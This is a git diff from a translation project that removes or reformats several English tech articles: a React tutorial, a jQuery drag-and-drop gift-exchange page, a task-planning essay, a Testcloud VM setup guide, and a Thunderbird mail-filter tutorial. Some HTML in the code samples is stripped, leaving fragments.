optimizer’s state is very important, I think because it slowly reduces the training rate as training progresses. So I reorganized my code so that I only initialized the optimizer once at the beginning of training. - -I also made sure that when I saved my model, I also saved the optimizer’s state: - -``` -torch.save({'model_state_dict': rnn.state_dict(), 'optimizer_dict': optimizer.state_dict()}, MODEL_PATH) -``` - -Here’s the “Shakespeare” the model was generating after I stopped resetting the optimizer all the time: - -``` -at soerin, I kanth as jow gill fimes, To metes think our wink we in fatching -and, Drose, How the wit? our arpear War, our in wioken alous, To thigh dies wit -stain! navinge a sput pie, thick done a my wiscian. Hark's king, and Evit night -and find. Woman steed and oppet, I diplifire, and evole witk ud -``` - -It’s a big improvement! There are some actual English words in there! “Woman steed and oppet!” - -### that’s it for today! - -Tomorrow my goal is to learn what “BPTT” means and see if I can use it to train this model more quickly and maybe give it a bigger hidden state than 87 parameters. And once I’ve done that, maybe I can start to train more interesting models!! - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/11/23/day-11--learning-about-learning-rates/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://www.tensorflow.org/api_docs/python/tf/keras/optimizers/Adam diff --git a/sources/tech/20201124 A beginner-s guide to developing with React.md b/sources/tech/20201124 A beginner-s guide to developing with React.md deleted file mode 100644 index 7928fb6b43..0000000000 --- a/sources/tech/20201124 A beginner-s guide to developing with React.md +++ /dev/null @@ -1,284 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A beginner's guide to developing with React) -[#]: via: (https://opensource.com/article/20/11/reactjs-tutorial) -[#]: author: (Shedrack Akintayo https://opensource.com/users/shedrack-akintayo) - -A beginner's guide to developing with React -====== -A step-by-step guide to using React in your web and mobile user -interfaces. -![Gears connecting][1] - -[React][2] is a JavaScript user interface (UI) library that was built and is maintained by Facebook. React helps JavaScript developers think logically and functionally about how they want to build a UI. - -With React, you can build: - - 1. Single-page applications - 2. Applications that are easy to understand - 3. Scalable applications - 4. Cross-platform applications - - - -React allows developers to build applications declaratively and offers a unidirectional flow of data. - -### React's advantages - -The following features explain why React is one of the [most popular][3] web frameworks. - - * **It is declarative:** React makes it extremely painless to build interactive user interfaces, design basic views for your application based on various states, and update and render new views when the data in your application changes. - * **It is component-based:** React gives you the ability to build encapsulated components that can manage their own state, then puts them together to build complex UIs. The logic of these components is written in JavaScript instead of templates, so you easily pass actual data and keep state out of the [document object model][4] (DOM). - * **You can learn once, write anywhere:** React gives you the ability to build for both mobile (React Native) and the web. There's no need to rewrite your existing codebase; you can just integrate React with your existing code. - * **The virtual DOM:** React introduced a wrapper around the regular DOM called the virtual DOM (VDOM). This allows React to render elements and update its state faster than the regular DOM. - * **Performance:** React has great performance benefits due to the VDOM and one-way flow of data. - - - -### The virtual DOM - -React's VDOM is like a virtual copy of the original DOM. It offers one-way data binding, which makes manipulating and updating the VDOM quicker than updating the original DOM. The VDOM can handle multiple operations in milliseconds without affecting the general page performance. - -This VDOM supports React's declarative API: You basically tell React what state you want the UI to be in, and it ensures that the DOM matches that state. - -### Prerequisites for learning React - -Learning React requires basic knowledge of JavaScript, HTML, and CSS. To use React's power effectively, it helps to be familiar with [ECMAScript 6][5] (ES6) and functional and object-oriented programming. - -You also need the following things installed on your computer: - - * [NodeJS][6] - * [npm][7] (comes bundled with NodeJS) - * [Yarn][8] (an alternative to NPM) - - - -### Basic React concepts - -It also helps to have an understanding of React's concepts. - -#### Components - -Components are standalone, reusable pieces of code. They have the same purpose as JavaScript functions but work alone and return HTML via a built-in render function. They are two main types of components: - - * **Class components** offer more control in the form of lifecycle hooks, managing and handling state, and API calls. For example: [code] class MyComponent extends React.Component { -  render() { -    return <div>This is a class component</div>; -  } -} -``` - * **Functional components** were used for rendering just views without any form of state management or data request until [React Hooks][9] was introduced. For example: [code] Function myComponent() { -  return ( -      <div>A functional Component</div> -  ) - } -``` - - - -#### Props - -React props are like function arguments in JavaScript and attributes in HTML. They are read-only. For example: - - -``` -function Welcome(props) { -  return <h1>Hello, {props.name}</h1>; -} -``` - -#### State - -React components have a built-in object called _state_, which is where you store property values that belong to a particular component. If a component's state changes at any point in time, the component re-renders. For example: - - -``` -class Car extends React.Component { -  constructor(props) { -    super(props); -    this.state = { brand: 'Ford' }; -  } -  render() { -    return ( -      <div> -        <h1>My Car</h1> -      </div> -    ); -  } -} -``` - -#### JSX - -JSX is a syntax extension to JavaScript. It is similar to a template language but has the full power of JavaScript. JSX is compiled to `React.createElement()` calls, which return plain JavaScript objects called _React elements_. For example: - - -``` -return ( -  <div> -    <h1>My Car</h1> -  </div> -); -``` - -The code between the return method that looks like HTML is JSX. - -### How to use React - -Ready to get started? I'll go step-by-step through two options for using React in your app: - - * Adding its content delivery network (CDN) to your HTML file - * Starting a blank React app with Create React App - - - -#### Add its CDN to your HTML file - -You can quickly use React in your HTML page by adding its CDN directly to your HTML file using the following steps: - -**Step 1:** In the HTML page you want to add React to, add an empty `
` tag to create a container where you want to render something with React. For example: - - -``` -<!-- ... old HTML ... --> - -<[div][10] id="button_container"></[div][10]> - -<!-- ... old HTML ... --> -``` - -**Step 2:** Add three ` +27    +28  +29  +30 

Raffles Book Club Remote Gift Exchange

+31 

The players, in random order, and the luxurious gifts, wrapped:

+32    +33 
+34 
Wanda
+35 
Carlos
+36 
Bill
+37 
Arlette
+38 
Joanne
+39 
Alekx
+40 
Ermintrude
+41 
Walter
+42 
Hilary
+43 
+44 
+45 
+46 
+47 
+48 
+49 
+50 
+51 
+52 
+53 
+54 
+55    +56  +82    +83  +84  ``` ### Breaking it down Let's go over this code bit by bit. - * **Lines 1–6:** Upfront, I have the usual HTML boilerplate, `HTML`, `HEAD`, `META`, `TITLE` elements, followed by a link to the CSS for jQuery UI. - * **Lines 7–25:** I added two new style classes: `draggable` and `droppable`. These define the layout for the books (draggable) and the people (droppable). Note that, aside from defining the size, background color, padding, and margin, I established that these need to float left. This way, the layout adjusts to the browser window width in a reasonably acceptable form. - * **Line 26–27:** With the CSS out of the way, it's time for the JavaScript libraries, first jQuery, then jQuery UI. - * **Lines 29–83:** Now that the `HEAD` element is done, next is the `BODY`: - * **Lines 30–31:** These couple of titles, `H1` and `H2`, let people know what they're doing here. - * **Lines 33–43:** A `DIV` to contain the people: - * **Lines 34–42:** The people are defined as droppable `DIV` elements and given `ID` fields corresponding to their names. - * **Lines 44–54:** A `DIV` to contain the books: - * **Lines 45–53:** The books are defined as draggable `DIV` elements. Each element is declared with a background image corresponding to the wrapping paper with no text between the `
` and `
`. The `ID` fields correspond to the wrapping paper. - * **Lines 56–81:** These contain JavaScript to make it all work. - * **Lines 57–67:** This JavaScript object contains the book definitions. The keys (`'bows'`, `'boxes'`, etc.) correspond to the `ID` fields of the book `DIV` elements. The values (`'Untamed by Glennon Doyle',` `"The Heart's Invisible Furies by John Boyne"`, etc.) are the book titles and authors. - * **Lines 68–79:** This JavaScript jQuery UI function defines the droppable functionality to be attached to HTML elements whose class is `droppable`. - * **Lines 69–75:** When a `draggable` element is dropped onto a `droppable` element, the function `drop` is called. - * **Line 70:** The `element` variable is assigned the draggable object that was dropped (this will be a `
` element. - * **Line 71:** The `wrapping` variable is assigned the value of the `ID` field in the draggable object. - * **Line 72:** This line is commented out, but while I was learning and testing, calls to `alert()` were useful. - * **Line 73:** This reassigns the draggable object's background image to a bland image on which text can be read; part 1 of unwrapping is getting rid of the wrapping paper. - * **Line 74:** This sets the text of the draggable object to the title of the book, looked up in the book's object using the draggable object's ID; part 2 of the unwrapping is showing the book title and author. - * **Lines 76–78:** For a while, I thought I wanted something to happen when a draggable object was removed from a droppable object (e.g., when a club member stole a book), which would require using the `out` function in a droppable object. Eventually, I decided not to do anything. But, this could note that the book was stolen and make it "unstealable" for one turn; or it could show a status line that says something like: _"Wanda's book Blah Blah by Joe Blogs was stolen, and she needs to choose another."_ - * **Line 80:** This JavaScript jQuery UI function defines the draggable functionality to be attached to HTML elements whose class is `draggable`. In my case, the default behavior was all I needed. - - +* Lines 1–6: Upfront, I have the usual `HTML` boilerplate, HTML, `HEAD`, `META`, `TITLE` elements, followed by a link to the CSS for jQuery UI. +* Lines 7–25: I added two new style classes: `draggable` and `droppable`. These define the layout for the books (draggable) and the people (droppable). Note that, aside from defining the size, background color, padding, and margin, I established that these need to float left. This way, the layout adjusts to the browser window width in a reasonably acceptable form. +* Line 26–27: With the CSS out of the way, it's time for the JavaScript libraries, first jQuery, then jQuery UI. +* Lines 29–83: Now that the `HEAD` `element` is done, next is the `BODY`: + * Lines 30–31: These couple of titles, `H1` and `H2`, let people know what they're doing here. +Lines 33–43: A `DIV` to contain the people: +Lines 34–42: The people are defined as `droppable` `DIV` elements and given `ID` fields corresponding to their names. +Lines 44–54: A `DIV` to contain the books: +Lines 45–53: The books are defined as `draggable` `DIV` elements. Each element is declared with a background image corresponding to the `wrapping` paper with no text between the `
` and `
`. The `ID` fields correspond to the wrapping paper. +Lines 56–81: These contain JavaScript to make it all work. + * Lines 57–67: This JavaScript object contains the book definitions. The keys ('bows', `'boxes'`, etc.) correspond to the `ID` fields of the book `DIV` elements. The values ('Untamed by Glennon Doyle', `"The Heart's Invisible Furies by John Boyne"`, etc.) are the book titles and authors. +Lines 68–79: This JavaScript jQuery UI function defines the `droppable` functionality to be attached to HTML elements whose class is `drop`pable. +Lines 69–75: When a `draggable` element is dropped onto a droppable element, the function drop is called. +Line 70: The element variable is assigned the draggable object that was dropped (this will be a `
` element. +Line 71: The wrapping variable is assigned the value of the `ID` field in the draggable object. +Line 72: This line is commented `out`, but while I was learning and testing, calls to `alert()` were useful. + * Line 73: This reassigns the draggable object's background image to a bland image on which text can be read; part 1 of unwrapping is getting rid of the wrapping paper. + * Line 74: This sets the text of the draggable object to the title of the book, looked up in the book's object using the draggable object's ID; part 2 of the unwrapping is showing the book title and author. +Lines 76–78: For a while, I thought I wanted something to happen when a draggable object was removed from a droppable object (e.g., when a club member stole a book), which would require using the out function in a droppable object. Eventually, I decided not to do anything. But, this could note that the book was stolen and make it "unstealable" for one turn; or it could show a status line that says something like: "Wanda's book Blah Blah by Joe Blogs was stolen, and she needs to choose another." +Line 80: This JavaScript jQuery UI function defines the draggable functionality to be attached to HTML elements whose class is draggable. In my case, the default behavior was all I needed. That's it! @@ -189,49 +180,38 @@ That's it! Libraries like jQuery and jQuery UI are incredibly helpful when trying to do something complicated in JavaScript. Look at the `$().draggable()` and `$().droppable()` functions, for example: - ``` -`$( ".draggable" ).draggable();` +$( ".draggable" ).draggable(); ``` The `".draggable"` allows associating the `draggable()` function with any HTML element whose class is "draggable." The `draggable()` function comes with all sorts of useful behavior about picking, dragging, and releasing a draggable HTML element. -If you haven't spent much time with jQuery, I really like the book [_jQuery in Action_][21] by Bear Bibeault, Yehuda Katz, and Aurelio De Rosa. Similarly, [_jQuery UI in Action_][22] by TJ VanToll is a great help with the jQuery UI (where draggable and droppable come from). +If you haven't spent much time with jQuery, I really like the book [jQuery in Action][9] by Bear Bibeault, Yehuda Katz, and Aurelio De Rosa. Similarly, [jQuery UI in Action][10] by TJ VanToll is a great help with the jQuery UI (where draggable and droppable come from). Of course, there are many other JavaScript libraries, frameworks, and what-nots around to do good stuff in the user interface. I haven't really started to explore all that jQuery and jQuery UI offer, and I want to play around with the rest to see what can be done. +Image by: (Chris Hermansen, CC BY-SA 4.0) + -------------------------------------------------------------------------------- via: https://opensource.com/article/21/1/open-source-gift-exchange 作者:[Chris Hermansen][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/clhermansen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brown-package-red-bow.jpg?itok=oxZYQzH- (Package wrapped with brown paper and red bow) -[2]: https://all-free-download.com/free-vector/patterns-creative-commons.html#google_vignette -[3]: https://opensource.com/tags/gimp -[4]: https://opensource.com/sites/default/files/uploads/bookexchangestart.png (Virtual book exchange) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: https://opensource.com/sites/default/files/uploads/bookexchangeperson1.png (Virtual book exchange) -[7]: https://opensource.com/sites/default/files/uploads/bookexchangeperson2.png (Virtual book exchange) -[8]: http://december.com/html/4/element/html.html -[9]: http://december.com/html/4/element/head.html -[10]: http://december.com/html/4/element/meta.html -[11]: http://december.com/html/4/element/title.html -[12]: http://december.com/html/4/element/link.html -[13]: http://december.com/html/4/element/style.html -[14]: http://december.com/html/4/element/script.html -[15]: https://code.jquery.com/jquery-1.12.4.js"\>\ -[16]: https://code.jquery.com/ui/1.12.1/jquery-ui.js"\>\ -[17]: http://december.com/html/4/element/body.html -[18]: http://december.com/html/4/element/h1.html -[19]: http://december.com/html/4/element/h2.html -[20]: http://december.com/html/4/element/div.html -[21]: https://www.manning.com/books/jquery-in-action-third-edition -[22]: https://www.manning.com/books/jquery-ui-in-action +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/brown-package-red-bow.jpg +[2]: https://unsplash.com/@jessbaileydesigns?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/package?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://all-free-download.com/free-vector/patterns-creative-commons.html#google_vignette +[5]: https://opensource.com/tags/gimp +[6]: https://opensource.com/sites/default/files/uploads/bookexchangestart.png +[7]: https://opensource.com/sites/default/files/uploads/bookexchangeperson1.png +[8]: https://opensource.com/sites/default/files/uploads/bookexchangeperson2.png +[9]: https://www.manning.com/books/jquery-in-action-third-edition +[10]: https://www.manning.com/books/jquery-ui-in-action diff --git a/sources/tech/20210124 3 stress-free steps to tackling your task list.md b/sources/tech/20210124 3 stress-free steps to tackling your task list.md deleted file mode 100644 index 04e65e4b06..0000000000 --- a/sources/tech/20210124 3 stress-free steps to tackling your task list.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 stress-free steps to tackling your task list) -[#]: via: (https://opensource.com/article/21/1/break-down-tasks) -[#]: author: (Kevin Sonney https://opensource.com/users/ksonney) - -3 stress-free steps to tackling your task list -====== -Break your larger tasks into small steps to keep from being overwhelmed. -![Team checklist][1] - -In prior years, this annual series covered individual apps. This year, we are looking at all-in-one solutions in addition to strategies to help in 2021. Welcome to day 14 of 21 Days of Productivity in 2021. - -At the start of the week, I like to review my schedule and look at the things I either need or would like to accomplish. And often, there are some items on that list that are relatively big. Whether it is an issue for work, a series of articles on productivity, or maybe an improvement to the chicken enclosures, the task can seem really daunting when taken as a single job. The odds are good that I will not be able to sit down and finish something like (just as an example, mind you) 21 articles in a single block of time, or even a single day. - -![21 Days of Productivity project screenshot][2] - -21 Days of Productivity (Kevin Sonney, [CC BY-SA 4.0][3]) - -So the first thing I do when I have something like this on my list is to break it down into smaller pieces. As Nobel laureate [William Faulkner][4] famously said, "The man who removes a mountain begins by carrying away small stones." We need to take our big tasks (the mountain) and find the individual steps (the small stones) that need to be done. - -I use the following steps to break down my big tasks into little ones: - - 1. I usually have a fair idea of what needs to be done to complete a task. If not, I do a little research to figure that out. - 2. I write down the steps I think it will take, in order. - 3. Finally, I sit down with my calendar and the list and start to spread the tasks out across several days (or weeks, or months) to get an idea of when I might finish it. - - - -Now I have not only a plan but an idea of how long it is going to take. As I complete each step, I can see that big task get not only a little smaller but closer to completion. - -There is an old military saying that goes, "No plan survives contact with the enemy." It is almost certain that there will be a point or two (or five) where I realize that something as simple as "take a screenshot" needs to be expanded into something _much_ more complex. In fact, taking the screenshots of [Easy!Appointments][5] turned out to be: - - 1. Install and configure Easy!Appointments. - 2. Install and configure the Easy!Appointments WordPress plugin. - 3. Generate the API keys needed to sync the calendar. - 4. Take screenshots. - - - -Even then, I had to break these tasks down into smaller pieces—download the software, configure NGINX, validate the installs…you get the idea. And that's OK. A plan, or set of tasks, is not set in stone and can be changed as needed. - -![project completion pie chart][6] - -About 2/3 done for this year! (Kevin Sonney, [CC BY-SA 4.0][3]) - -This is a learned skill and will take some effort the first few times. Learning how to break big tasks into smaller steps allows you to track progress towards a goal or completion of something big without getting overwhelmed in the process. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/break-down-tasks - -作者:[Kevin Sonney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ksonney -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/checklist_todo_clock_time_team.png?itok=1z528Q0y (Team checklist) -[2]: https://opensource.com/sites/default/files/day14-image1.png -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://en.wikipedia.org/wiki/William_Faulkner -[5]: https://opensource.com/article/21/1/open-source-scheduler -[6]: https://opensource.com/sites/default/files/day14-image2_1.png diff --git a/sources/tech/20210126 Automate setup and delivery for virtual machines in the cloud.md b/sources/tech/20210126 Automate setup and delivery for virtual machines in the cloud.md deleted file mode 100644 index 65f7fe07e8..0000000000 --- a/sources/tech/20210126 Automate setup and delivery for virtual machines in the cloud.md +++ /dev/null @@ -1,174 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Automate setup and delivery for virtual machines in the cloud) -[#]: via: (https://opensource.com/article/21/1/testcloud-virtual-machines) -[#]: author: (Sumantro Mukherjee https://opensource.com/users/sumantro) - -Automate setup and delivery for virtual machines in the cloud -====== -Get a cloud image ready in minutes by using Testcloud to automate the -setup process and deliver a VM ready to run. -![Looking at a map][1] - -If you're a developer or hobbyist using a Fedora [qcow2 image][2] for the cloud, you always have to do a bunch of initial configuration before an image is ready to use. I know this all too well, and I was eager to find a way to make the setup process simpler. As it happens, the entire Fedora quality assurance team feels the same way, so we developed [Testcloud][3]. - -Testcloud is a tool that makes it easy to get a cloud image ready for testing in minutes. It automates the setup process and delivers a virtual machine (VM) ready to run on the cloud with just a few commands.  - -Testcloud: - - 1. Downloads the qcow2 image - 2. Creates the instance with the name of your choice - 3. Creates a user named `fedora` with the password of `passw0rd` - 4. Assigns an IP, which you can later use to secure shell (SSH) into the cloud - 5. Starts, stops, removes, and lists an instance - - - -### Install Testcloud - -To start your journey, you first must install the Testcloud package. You can install it from a terminal or through the software application. In both cases, the package name is `testcloud`. Install with: - - -``` -`$ sudo dnf install testcloud -y` -``` - -Once the installation is complete, add your desired user to the `testcloud` group, which helps Testcloud automate the rest of the process. Execute these two commands to add your user to the `testcloud` group and restart the session with the updated group privileges: - - -``` -$ sudo usermod -a -G testcloud $USER -$ su - $USER -``` - -![Add user to testcloud group][4] - -(Sumantro Mukherjee, [CC BY-SA 4.0][5]) - -### Spin cloud images like a pro - -Once your user has the required group permissions, create an instance: - - -``` -`$ testcloud instance create -u ` -``` - -Alternatively, you can use `fedora:latest/fedora:XX` (where `XX` is your Fedora release) instead of the full URL: - - -``` -`$ testcloud instance create -u fedora:latest` -``` - -This returns the IP address of your VM: - - -``` -$ testcloud instance create testcloud272593 -u   -[...] -INFO:Successfully booted instance testcloud272593 -The IP of vm testcloud272593:  192.168.122.202 -\------------------------------------------------------------ -To connect to the VM, use the following command (password is 'passw0rd'): -ssh fedora@192.168.122.202 -\------------------------------------------------------------ -``` - -You can log in as the default user `fedora` with the password `passw0rd` (note the zero). You can get to the VM with `ssh`, `virt-manager`, or any other method that supports connecting to libvirt machines. - -Another simple way to create a Fedora cloud is: - - -``` -$ testcloud instance create testcloud193 -u fedora:33 -  -WARNING:Not proceeding with backingstore cleanup because there are some testcloud instances running. -You can fix this by following command(s): -testcloud instance stop testcloud272593 - -DEBUG:Local downloads will be stored in /var/lib/testcloud/backingstores. -DEBUG:successfully changed SELinux context for image /var/lib/testcloud/backingstores/Fedora-Cloud-Base-33-1.2.x86_64.qcow2 -DEBUG:Creating instance directories -DEBUG:creating seed image /var/lib/testcloud/instances/testcloud193/testcloud193-seed.img -INFO:Seed image generated successfully -INFO:Successfully booted instance testcloud193 -The IP of vm testcloud193:  192.168.122.225 -\------------------------------------------------------------ -To connect to the VM, use the following command (password is 'passw0rd'): -ssh fedora@192.168.122.225 -\------------------------------------------------------------ -``` - -### Play with instances - -Testcloud can be used to administer instances. This includes activities such as listing images or stopping and starting an instance. - -To list instances, use the `list` subcommand: - - -``` -$ testcloud instance list                 -Name                            IP                      State     -\------------------------------------------------------------ -testcloud272593                 192.168.122.202         running     -testcloud193                    192.168.122.225         running     -testcloud252793                 192.168.122.146         shutoff     -testcloud93                             192.168.122.152         shutoff -``` - -To stop a running instance: - - -``` -$ testcloud instance stop testcloud193   -DEBUG:stop instance: testcloud193 -DEBUG:stopping instance testcloud193. -``` - -To remove an instance: - - -``` -$ testcloud instance destroy testcloud193   -DEBUG:remove instance: testcloud193 -DEBUG:removing instance testcloud193 from libvirt. -DEBUG:Unregistering instance from libvirt. -DEBUG:removing instance /var/lib/testcloud/instances/testcloud193 from disk -``` - -To reboot a running instance: - - -``` -$ testcloud instance reboot testcloud93                                                                                         -DEBUG:stop instance: testcloud93 -[...] -INFO:Successfully booted instance testcloud93 -The IP of vm testcloud93:  192.168.122.152 -usage: testcloud [-h] {instance,image} ... -``` - -Give Testcloud a try and let me know what you think in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/testcloud-virtual-machines - -作者:[Sumantro Mukherjee][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/sumantro -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tips_map_guide_ebook_help_troubleshooting_lightbulb_520.png?itok=L0BQHgjr (Looking at a map) -[2]: https://en.wikipedia.org/wiki/Qcow -[3]: https://pagure.io/testcloud -[4]: https://opensource.com/sites/default/files/uploads/adduser.png (Add user to testcloud group) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ diff --git a/sources/tech/20210127 Introduction to Thunderbird mail filters.md b/sources/tech/20210127 Introduction to Thunderbird mail filters.md index 423d48f86d..808a22f084 100644 --- a/sources/tech/20210127 Introduction to Thunderbird mail filters.md +++ b/sources/tech/20210127 Introduction to Thunderbird mail filters.md @@ -1,164 +1,151 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Introduction to Thunderbird mail filters) -[#]: via: (https://fedoramagazine.org/introduction-to-thunderbird-mail-filters/) -[#]: author: (Richard England https://fedoramagazine.org/author/rlengland/) +[#]: subject: "Introduction to Thunderbird mail filters" +[#]: via: "https://fedoramagazine.org/introduction-to-thunderbird-mail-filters/" +[#]: author: "Richard England https://fedoramagazine.org/author/rlengland/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Introduction to Thunderbird mail filters ====== - ![][1] Everyone eventually runs into an inbox loaded with messages that they need to sort through. If you are like a lot of people, this is not a fast process. However, use of mail filters can make the task a little less tedious by letting Thunderbird pre-sort the messages into categories that reflect their source, priority, or usefulness. This article is an introduction to the creation of filters in Thunderbird. Filters may be created for each email account you have created in Thunderbird. These are the accounts you see in the main Thunderbird folder pane shown at the left of the “Classic Layout”. -![Classic Layout][2] +![][2] There are two methods that can be used to create mail filters for your accounts. The first is based on the currently selected account and the second on the currently selected message. Both are discussed here. ### Message destination folder -Before filtering messages there has to be a destination for them. Create the destination by selecting a location to create a new folder. In this example the destination will be **Local Folders** shown in the accounts pane. Right click on **Local Folders** and select _New Folder…_ from the menu. +Before filtering messages there has to be a destination for them. Create the destination by selecting a location to create a new folder. In this example the destination will be **Local Folders**shown in the accounts pane. Right click on **Local Folders** and select *New Folder…* from the menu. -![Creating a new folder][3] +![][3] -Enter the name of the new folder in the menu and select _Create Folder._ The mail to filter is coming from the New York Times so that is the name entered. +Enter the name of the new folder in the menu and select *Create Folder.* The mail to filter is coming from the New York Times so that is the name entered. -![Folder creation][4] +![][4] ### Filter creation based on the selected account -Select the _Inbox_ for the account you wish to filter and select the toolbar menu item at _Tools > Message_Filters_. +Select the *Inbox* for the account you wish to filter and select the toolbar menu item at *Tools > Message_Filters*. -![Message_Filters menu location][5] +![][5] -The _Message Filters_ menu appears and is set to your pre-selected account as indicated at the top in the selection menu labelled _Filters for:_. +The *Message Filters* menu appears and is set to your pre-selected account as indicated at the top in the selection menu labelled *Filters for:*. -![Message Filters menu][6] +![][6] -Previously created filters, if any, are listed beneath the account name in the “_Filter Name”_ column. To the right of this list are controls that let you modify the filters selected. These controls are activated when you select a filter. More on this later. +Previously created filters, if any, are listed beneath the account name in the “*Filter Name”*column. To the right of this list are controls that let you modify the filters selected. These controls are activated when you select a filter. More on this later. Start creating your filter as follows: - 1. Verify the correct account has been pre-selected. It may be changed if necessary. - 2. Select _New…_ from the menu list at the right. +1. Verify the correct account has been pre-selected. It may be changed if necessary. +2. Select New… from the menu list at the right. - - -When you select _New_ you will see the _Filter Rules_ menu where you define your filter. Note that when using _New…_ you have the option to copy an existing filter to use as a template or to simply duplicate the settings. +When you select *New* you will see the *Filter Rules*menu where you define your filter. Note that when using *New…* you have the option to copy an existing filter to use as a template or to simply duplicate the settings. Filter rules are made up of three things, the “property” to be tested, the “test”, and the “value” to be tested against. Once the condition is met, the “action” is performed. -![Message Filters menu][7] +![][7] Complete this filter as follows: - 1. Enter an appropriate name in the textbox labelled _Filter name:_ - 2. Select the property _From_ in the left drop down menu, if not set. - 3. Leave the test set to _contains_. - 4. Enter the value, in this case the email address of the sender. +1. Enter an appropriate name in the textbox labelled Filter name: +2. Select the property From in the left drop down menu, if not set. +3. Leave the test set to contains. +4. Enter the value, in this case the email address of the sender. +Under the *Perform these actions:* section at the bottom, create an action rule to move the message and choose the destination. +1. Select Move Messages to from the left end of the action line. +2. Select Choose Folder… and select Local Folders > New York Times. +3. Select OK. -Under the _Perform these actions:_ section at the bottom, create an action rule to move the message and choose the destination. +By default the **Apply filter when:** is set to *Manually Run* and *Getting New Mail:*. This means that when new mail appears in the Inbox for this account the filter will be applied and you may run it manually at any time, if necessary. There are other options available but they are too numerous to be discussed in this introduction. They are, however, for the most part self explanatory. - 1. Select _Move Messages to_ from the left end of the action line. - 2. Select _Choose Folder…_ and select _Local Folders > New York Times_. - 3. Select _OK_. +If more than one rule or action is to be created during the same session, the “+” to the right of each entry provides that option. Additional property, test, and value entries can be added. If more than one rule is created, make certain that the appropriate option for *Match all of the following* and *Match any of the following* is selected. In this example the choice does not matter since we are only setting one filter. +After selecting *OK,*the *Message Filters* menu is displayed again showing your newly created filter. Note that the menu items on the right side of the menu are now active for *Edit…* and *Delete.* +![][8] -By default the **Apply filter when:** is set to _Manually Run_ and _Getting New Mail:_. This means that when new mail appears in the Inbox for this account the filter will be applied and you may run it manually at any time, if necessary. There are other options available but they are too numerous to be discussed in this introduction. They are, however, for the most part self explanatory. +Also notice the message *“Enabled filters are run automatically in the order shown below”*. If there are multiple filters the order is changed by selecting the one to be moved and using the *Move to Top, Move Up, Move Down,*or*Move to Bottom* buttons. The order can change the destination of your messages so consider the tests used in each filter carefully when deciding the order. -If more than one rule or action is to be created during the same session, the “+” to the right of each entry provides that option. Additional property, test, and value entries can be added. If more than one rule is created, make certain that the appropriate option for _Match all of the following_ and _Match any of the following_ is selected. In this example the choice does not matter since we are only setting one filter. - -After selecting _OK,_ the _Message Filters_ menu is displayed again showing your newly created filter. Note that the menu items on the right side of the menu are now active for _Edit…_ and _Delete._ - -![First filter in the Message Filters menu][8] - -Also notice the message _“Enabled filters are run automatically in the order shown below”_. If there are multiple filters the order is changed by selecting the one to be moved and using the _Move to Top, Move Up, Move Down,_ or _Move to Bottom_ buttons. The order can change the destination of your messages so consider the tests used in each filter carefully when deciding the order. - -Since you have just created this filter you may wish to use the _Run Now_ button to run your newly created filter on the Inbox shown to the left of the button. +Since you have just created this filter you may wish to use the *Run Now* button to run your newly created filter on the Inbox shown to the left of the button. ### Filter creation based on a message -An alternative creation technique is to select a message from the message pane and use the _Create Filter From Message…_ option from the menu bar. +An alternative creation technique is to select a message from the message pane and use the *Create Filter From Message…* option from the menu bar. -In this example the filter will use two rules to select the messages: the email address and a text string in the Subject line of the email. Start as follows: +In this example the filter will use two rules to select the messages: the email address and a text string in the Subject line of the email. Start as follows: - 1. Select a message in the message page. - 2. Select the filter options on the toolbar at _Message > Create Filter From Message…_. +1. Select a message in the message page. +2. Select the filter options on the toolbar at Message > Create Filter From Message…. +![][9] - -![Create new filters from Messages][9] - -The pre-selected message, highlighted in grey in the message pane above, determines the account used and _Create Filter From Message…_ takes you directly to the _Filter Rules_ menu. +The pre-selected message, highlighted in grey in the message pane above, determines the account used and *Create Filter From Message…* takes you directly to the *Filter Rules* menu. ![][10] -The property (_From_), test (_is_), and value (email) are 